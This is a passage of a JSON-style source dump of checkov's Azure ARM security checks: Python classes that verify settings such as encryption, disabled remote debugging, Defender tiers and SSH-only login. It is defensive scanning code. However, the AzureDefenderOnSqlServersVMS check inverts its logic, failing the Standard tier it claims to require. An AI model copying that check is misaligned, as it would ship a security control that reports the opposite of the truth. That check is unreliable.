    "content": "from typing import Any, List\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServicePHPVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'PHP version' is the latest, if used to run the web app\"\n        id = \"CKV_AZURE_81\"\n        supported_resources = [\"Microsoft.Web/sites\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.UNKNOWN)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/phpVersion\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"8.1\", \"8.2\"]\n\n\ncheck = AppServicePHPVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServicePlanZoneRedundant.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServicePlanZoneRedundant(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        To enhance the resiliency and reliability of business-critical workloads,\n        it's recommended to deploy new App Service Plans with zone-redundancy.\n\n        There's no additional cost associated with enabling availability zones.\n        Pricing for a zone redundant App Service is the same as a single zone App Service.\n        \"\"\"\n        name = \"Ensure the App Service Plan is zone redundant\"\n        id = \"CKV_AZURE_225\"\n        supported_resources = [\"Microsoft.Web/serverfarms\", ]\n        categories = [CheckCategories.BACKUP_AND_RECOVERY, ]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/zoneRedundant\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = AppServicePlanZoneRedundant()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServicePublicAccessDisabled.py",
    "content": "from typing import Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServicePublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Web App public network access is disabled\"\n        id = \"CKV_AZURE_222\"\n        supported_resources = [\n            \"Microsoft.Web/sites\",\n            \"Microsoft.Web/sites/slots\",\n            \"Microsoft.Web/sites/config\"\n        ]\n        categories = [CheckCategories.NETWORKING,]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_expected_value(self) -> Any:\n        return \"Disabled\"\n\n\ncheck = AppServicePublicAccessDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServicePythonVersion.py",
    "content": "from typing import List, Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppServicePythonVersion(BaseResourceValueCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure that 'Python version' is the latest, if used to run the web app\"\n        id = \"CKV_AZURE_82\"\n        supported_resources = (\"Microsoft.Web/sites\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.UNKNOWN)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/pythonVersion\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"3.9\", \"3.10\", \"3.11\", \"3.12\"]\n\n\ncheck = AppServicePythonVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AppServiceRemoteDebuggingNotEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that remote debugging is not enabled for app services\"\n        id = \"CKV_AZURE_72\"\n        supported_resources = [\"Microsoft.Web/sites\",]\n        categories = [CheckCategories.GENERAL_SECURITY,]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED,)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/remoteDebuggingEnabled\"\n\n    def get_expected_value(self) -> bool:\n        return False\n\n\ncheck = AppServiceRemoteDebuggingNotEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceSetHealthCheck.py",
    "content": "from typing import Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServiceSetHealthCheck(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        # \"Azure App Service monitors a specific path for each web app instance to determine health status.\n        # The monitored path should implement functional checks to determine if the app is performing correctly.\n        # The checks should include dependencies including those that may not be regularly called.\n        # Regular checks of the monitored path allow Azure App Service to route traffic based on availability.\"\n        name = \"Ensure that App Service configures health check\"\n        id = \"CKV_AZURE_213\"\n        supported_resources = ('Microsoft.Web/sites', 'Microsoft.Web/sites/slots',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/siteConfig/healthCheckPath'\n\n    def get_expected_values(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AppServiceSetHealthCheck()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py",
    "content": "from checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppServiceSlotDebugDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure debugging is disabled for the App service slot\"\n        id = \"CKV_AZURE_155\"\n        supported_resources = ('Microsoft.Web/sites/slots', 'Microsoft.Web/sites',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/siteConfig/remoteDebuggingEnabled\"\n\n    def get_expected_value(self) -> bool:\n        return False\n\n\ncheck = AppServiceSlotDebugDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py",
    "content": "from checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppServiceSlotHTTPSOnly(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot\"\n        id = \"CKV_AZURE_153\"\n        supported_resources = (\"Microsoft.Web/sites\", \"Microsoft.Web/sites/slots\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/httpsOnly\"\n\n\ncheck = AppServiceSlotHTTPSOnly()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AppServiceUsedAzureFiles.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AppServiceUsedAzureFiles(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that app services use Azure Files\"\n        id = \"CKV_AZURE_88\"\n        supported_resources = (\"Microsoft.Web/sites/config\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get('properties')\n        if properties and isinstance(properties, dict):\n            azureStorageAccounts = properties.get(\"azureStorageAccounts\")\n            if azureStorageAccounts and isinstance(azureStorageAccounts, dict):\n                for account_data in azureStorageAccounts.values():\n                    if isinstance(account_data, dict) and account_data.get('type') == \"AzureFiles\":\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/azureStorageAccounts']\n\n\ncheck = AppServiceUsedAzureFiles()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AutomationEncrypted.py",
    "content": "from checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AutomationEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Automation account variables are encrypted\"\n        id = \"CKV_AZURE_73\"\n        supported_resources = (\"Microsoft.Automation/automationAccounts/variables\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/isEncrypted\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = AutomationEncrypted()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AzureBatchAccountEndpointAccessDefaultAction(BaseResourceCheck):\n\n    DISABLED_PUBLIC_NETWORK_ACCESS = \"disabled\"\n    FORBIDDEN_NETWORK_ACCESS_DEFAULT_ACTION = \"allow\"\n\n    def __init__(self) -> None:\n        name = \"Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'\"\n        id = \"CKV_AZURE_248\"\n        supported_resources = (\"Microsoft.Batch/batchAccounts\",)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    @staticmethod\n    def _exists_and_lower_equal(actual_value: Any, expected_lowercase_value: str) -> bool:\n        return actual_value and str(actual_value).lower() == expected_lowercase_value\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get('properties')\n        if not properties or not isinstance(properties, dict):\n            return CheckResult.FAILED\n\n        public_network_access = properties.get('publicNetworkAccess')\n        # public network access is disabled, no need to check for account access default action\n        if self._exists_and_lower_equal(public_network_access, self.DISABLED_PUBLIC_NETWORK_ACCESS):\n            return CheckResult.PASSED\n\n        network_profile = properties.get('networkProfile')\n        if not network_profile:\n            return CheckResult.PASSED\n        account_access = network_profile.get('accountAccess')\n        if not account_access:\n            return CheckResult.PASSED\n        default_action = account_access.get('defaultAction')\n        if not self._exists_and_lower_equal(default_action, self.FORBIDDEN_NETWORK_ACCESS_DEFAULT_ACTION):\n            return CheckResult.PASSED\n\n        self.evaluated_keys = [\"properties/networkProfile/accountAccess/defaultAction\"]\n        return CheckResult.FAILED\n\n\ncheck = AzureBatchAccountEndpointAccessDefaultAction()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureBatchAccountUsesKeyVaultEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Batch account uses key vault to encrypt data\"\n        id = \"CKV_AZURE_76\"\n        supported_resources = (\"Microsoft.Batch/batchAccounts\",)\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/keyVaultReference\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AzureBatchAccountUsesKeyVaultEncryption()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py",
    "content": "from typing import Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureDataExplorerDoubleEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name: str = \"Ensure that Azure Data Explorer uses double encryption\"\n        id: str = \"CKV_AZURE_75\"\n        supported_resources = (\"Microsoft.Kusto/clusters\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/enableDoubleEncryption\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck: Any = AzureDataExplorerDoubleEncryptionEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnKeyVaults(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Key Vault\"\n        id = \"CKV_AZURE_87\"\n        supported_resources = (\"Microsoft.Security/pricings\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get('properties', {})\n        pricing_tier = properties.get('pricingTier')\n        name = conf.get('name', '')\n        return (\n            CheckResult.PASSED\n            if pricing_tier == \"Standard\" and name == 'KeyVaults'\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"properties.pricingTier\", \"name\"]\n\n\ncheck = AzureDefenderOnKeyVaults()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureDefenderOnKubernetes.py",
    "content": "from __future__ import annotations\nfrom typing import Any\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnKubernetes(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Kubernetes\"\n        id = \"CKV_AZURE_85\"\n        supported_resources = (\"Microsoft.Security/pricings\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        return (\n            CheckResult.PASSED\n            if conf.get(\"name\") != \"KubernetesService\" or str(conf[\"properties\"][\"pricingTier\"]).lower() == \"standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"name\", \"pricingTier\"]\n\n\ncheck = AzureDefenderOnKubernetes()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom typing import List, Dict, Any\n\n\nclass AzureDefenderOnSqlServersVMS(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for SQL servers on machines\"\n        id = \"CKV_AZURE_79\"\n        supported_resources = (\"Microsoft.Security/pricings\",)\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\", {})\n        name = conf.get(\"name\", \"\")\n        tier = properties.get(\"tier\")\n        if tier == \"Standard\" and name == \"SqlServerVirtualMachines\":\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"tier\"]\n\n\ncheck = AzureDefenderOnSqlServersVMS()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureDefenderOnStorage.py",
    "content": "from typing import Any, Dict, List\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AzureDefenderOnStorage(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Defender is set to On for Storage\"\n        id = \"CKV_AZURE_84\"\n        supported_resources = (\"Microsoft.Security/pricings\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties: Dict[str, Any] = conf.get(\"properties\", {})\n        pricingTier = properties.get(\"pricingTier\", \"\")\n        return (\n            CheckResult.PASSED\n            if pricingTier == \"Standard\"\n            else CheckResult.FAILED\n        )\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties/pricingTier\"]\n\n\ncheck = AzureDefenderOnStorage()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureFirewallDenyThreatIntelMode(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        https://azure.github.io/PSRule.Rules.Azure/en/rules/Azure.Firewall.Mode/\n        Configure deny on threat intel for classic managed Azure Firewalls\n        \"\"\"\n        name = \"Ensure DenyIntelMode is set to Deny for Azure Firewalls\"\n        id = \"CKV_AZURE_216\"\n        supported_resources = (\"Microsoft.Network/azureFirewalls\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/threatIntelMode'\n\n    def get_expected_value(self) -> Any:\n        return \"Deny\"\n\n\ncheck = AzureFirewallDenyThreatIntelMode()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureFrontDoorEnablesWAF(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Front Door enables WAF\"\n        id = \"CKV_AZURE_121\"\n        supported_resources = (\"Microsoft.Network/frontDoors\",)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/frontendEndpoints/[0]/properties/webApplicationFirewallPolicyLink/id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AzureFrontDoorEnablesWAF()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureInstanceExtensions.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureInstanceExtensions(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Virtual Machine Extensions are not Installed\"\n        id = \"CKV_AZURE_50\"\n        supported_resources = [\"Microsoft.Compute/virtualMachines\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/osProfile/allowExtensionOperations\"\n\n    def get_expected_value(self) -> bool:\n        return False\n\n\ncheck = AzureInstanceExtensions()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureInstancePassword.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass AzureInstancePassword(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)\"\n        id = \"CKV_AZURE_1\"\n        supported_resources = (\"Microsoft.Compute/virtualMachines\",)\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if isinstance(properties, dict):\n            storage_profile = properties.get(\"storageProfile\")\n            if isinstance(storage_profile, dict):\n                image_reference = storage_profile.get(\"imageReference\")\n                if isinstance(image_reference, dict):\n                    publisher = image_reference.get(\"publisher\")\n                    if publisher and (\"windows\" in publisher.lower() or\n                                      \"microsoft\" in publisher.lower()):\n                        # This check is not relevant to Windows systems\n                        return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/osProfile/linuxConfiguration/disablePasswordAuthentication\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = AzureInstancePassword()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py",
    "content": "from typing import Dict, Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\n\nclass AzureMLWorkspacePrivateEndpoint(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Machine learning workspace is configured with private endpoint\"\n        id = \"CKV_AZURE_243\"\n        supported_resources = [\"Microsoft.MachineLearningServices/workspaces\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if isinstance(properties, dict):\n            managed_network = properties.get(\"managedNetwork\")\n            if isinstance(managed_network, dict):\n                ob_rules = managed_network.get(\"outboundRules\")\n                if isinstance(ob_rules, dict):\n                    # check no outbound rule has private endpoint type\n                    for key, rule in ob_rules.items():\n                        if key in [START_LINE, END_LINE]:\n                            # Skip inner fields we add\n                            continue\n                        if rule.get(\"type\") == \"PrivateEndpoint\":\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/[0]/managedNetwork\", \"properties/[0]/managedNetwork/[0]/outboundRules\"]\n\n\ncheck = AzureMLWorkspacePrivateEndpoint()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureManagedDiscEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass AzureManagedDiscEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure managed disk have encryption enabled\"\n        id = \"CKV_AZURE_2\"\n        supported_resources = (\"Microsoft.Compute/disks\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if properties:\n            self.evaluated_keys = [\"properties\"]\n            encryption = properties.get(\"encryption\")\n            if encryption:\n                # if the block exists, then it is enabled\n                return CheckResult.PASSED\n\n            encryption_enabled = find_in_dict(input_dict=properties, key_path=\"encryptionSettingsCollection/enabled\")\n            if str(encryption_enabled).lower() == \"true\":\n                return CheckResult.PASSED\n\n            encryption_enabled = find_in_dict(input_dict=properties, key_path=\"encryptionSettings/enabled\")\n            if str(encryption_enabled).lower() == \"true\":\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AzureManagedDiscEncryption()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AzureManagedDiskEncryptionSet(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = (\n            \"Ensure that managed disks use a specific set of disk encryption sets for the \"\n            \"customer-managed key encryption\"\n        )\n        id = \"CKV_AZURE_93\"\n        supported_resources = (\"Microsoft.Compute/disks\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/encryption/diskEncryptionSetId\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AzureManagedDiskEncryptionSet()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureScaleSetPassword.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass AzureScaleSetPassword(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)\"\n        id = \"CKV_AZURE_49\"\n        supported_resources = (\"Microsoft.Compute/virtualMachineScaleSets\",)\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if isinstance(properties, dict):\n            vm_profile = properties.get(\"virtualMachineProfile\")\n            if isinstance(vm_profile, dict):\n                storage_profile = vm_profile.get(\"storageProfile\")\n                if isinstance(storage_profile, dict):\n                    image_reference = storage_profile.get(\"imageReference\")\n                    if isinstance(image_reference, dict):\n                        publisher = image_reference.get(\"publisher\")\n                        if publisher and \"windows\" in publisher.lower():\n                            # This check is not relevant to Windows systems\n                            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/virtualMachineProfile/osProfile/linuxConfiguration/disablePasswordAuthentication\"\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = AzureScaleSetPassword()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureSearchSLAIndex.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AzureSearchSLAIndex(BaseResourceCheck):\n    def __init__(self) -> None:\n        # Cognitive Search services support indexing and querying. Indexing is the process of loading content into\n        # the service to make it searchable. Querying is the process where a client searches for content\n        # by sending queries to the index.\n        # Cognitive Search supports a configurable number of replicas. Having multiple replicas allows queries and\n        # index updates to load balance across multiple replicas.\n        #\n        # To receive a Service Level Agreement (SLA) for Search index updates a minimum of 3 replicas is required.\n        name = \"Ensure that Azure Cognitive Search maintains SLA for index updates\"\n        id = \"CKV_AZURE_208\"\n        supported_resources = [\"Microsoft.Search/searchServices\", ]\n        categories = [CheckCategories.GENERAL_SECURITY, ]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\", {})\n        self.evaluated_keys = [\"properties\"]\n        if not isinstance(properties, dict):\n            return CheckResult.FAILED\n        replica_count = properties.get(\"replicaCount\")\n        if replica_count and isinstance(replica_count, int):\n            if replica_count >= 3:\n                return CheckResult.PASSED\n            else:\n                self.evaluated_keys = [\"properties/replicaCount\"]\n                return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED\n\n\ncheck = AzureSearchSLAIndex()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass AzureSearchSQLQueryUpdates(BaseResourceCheck):\n    def __init__(self) -> None:\n        # Cognitive Search services support indexing and querying. Indexing is the process of loading content\n        # into the service to make it searchable. Querying is the process where a client searches for content\n        # by sending queries to the index.\n        # Cognitive Search supports a configurable number of replicas.\n        # Having multiple replicas allows queries and index updates to load balance across multiple replicas.\n        # To receive a Service Level Agreement (SLA) for Search index queries a minimum of 2 replicas is required.\n        name = \"Ensure that Azure Cognitive Search maintains SLA for search index queries\"\n        id = \"CKV_AZURE_209\"\n        supported_resources = [\"Microsoft.Search/searchServices\", ]\n        categories = [CheckCategories.GENERAL_SECURITY, ]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties/replicaCount\"]\n\n        properties = conf.get(\"properties\", {})\n        if not isinstance(properties, dict):\n            return CheckResult.FAILED\n        replica_count = properties.get(\"replicaCount\")\n        if replica_count:\n            if not isinstance(replica_count, int):\n                return CheckResult.UNKNOWN\n            if replica_count >= 2:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AzureSearchSQLQueryUpdates()\n"
  },
  {
    "path": "checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py",
